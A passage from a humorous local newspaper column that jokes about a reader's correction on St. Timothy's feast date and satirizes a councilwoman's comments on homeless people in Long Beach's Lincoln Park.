We thought about it. We fly free because newspaper columnists never have to pay for anything, so it was totally doable, but we were more interested in celebrating it in our own way, which involves a somewhat violent mix of whiskey and piñatas.
Still, we do love us a Latin Mass, which was the way things were when we were an altar boy going, "Confiteor Deo omnipotenti, beatae Mariae semper Virgini," - Come on! Everybody!
Anyway, Page, president of the Ladies Auxiliary of the What's Hot Theological Institute, further explains that "The date for the feast of St. Timothy in the Novus Ordo calendar" - we don't need to tell you that Novus Ordo is Latin for Ordinary Form - "changed in 1970, to Jan. 26, so your `growing up' memory serves you correctly. Perhaps you didn't pay much attention to these things in high school when the change occurred?"
Very perhaps. In 1970 we were at St. John Bosco, where we only learned two things: All of Gaul is divided into three parts and those hippies at Kent State were asking for it.
"And yes," Page assures us, "Go ahead and have your whiskey. St. Timothy is the patron saint of stomach disorders."
SLAMMIN' ABE: We're not sure why 5th District councilwoman Gerrie Schipske hates Abraham Lincoln.
We always thought he was a good guy. Even Bill O'Reilly likes President Lincoln.
A couple of weeks ago, we interviewed a few nice homeless people in downtown's Lincoln Park, which resulted in a column on which Schipske commented that the park is lousy with homeless people and needs to be cleaned up.
That comment, in turn, drew an extraordinary comment from (rare disclaimer: our friend) Charlie Russell, who wrote that the homeless don't WANT to be in the park, they HAVE to be in the park because, duh, they're homeless and the homeless are not trash to be cleaned up.
Which, in further turn, drew the non sequitur rejoinder from Schipske that "Lincoln Park smells of urine and pigeon droppings ." In addition, she noted there's a "criminal element" there amid the homeless, though we don't know how you'd sift through the Lincoln Parkers to find that element among the merely homeless. We get the impression she'd find it easier to just get rid of everyone, by which you'd eradicate the subset.
OK, urine aside, because nobody wants to read about that - though the same argument could be made about saints' feast days, especially twice in as many days - but homeless people, unless they're made of granite and sitting on a granite horse, don't attract pigeons. They don't have enough food to attract pigeons.
Statues attract pigeons. And the only statue in Lincoln Park is of the park's namesake. So logically, there's only one conclusion: Schipske hates pigeon droppings, so Schipske hates Lincoln.
We took logic in college and, if our memory serves, or even if you just go with the odds, we didn't exactly ace the course, so if we missed a step, we apologize. Maybe Schipske really likes Lincoln, just not the homeless.
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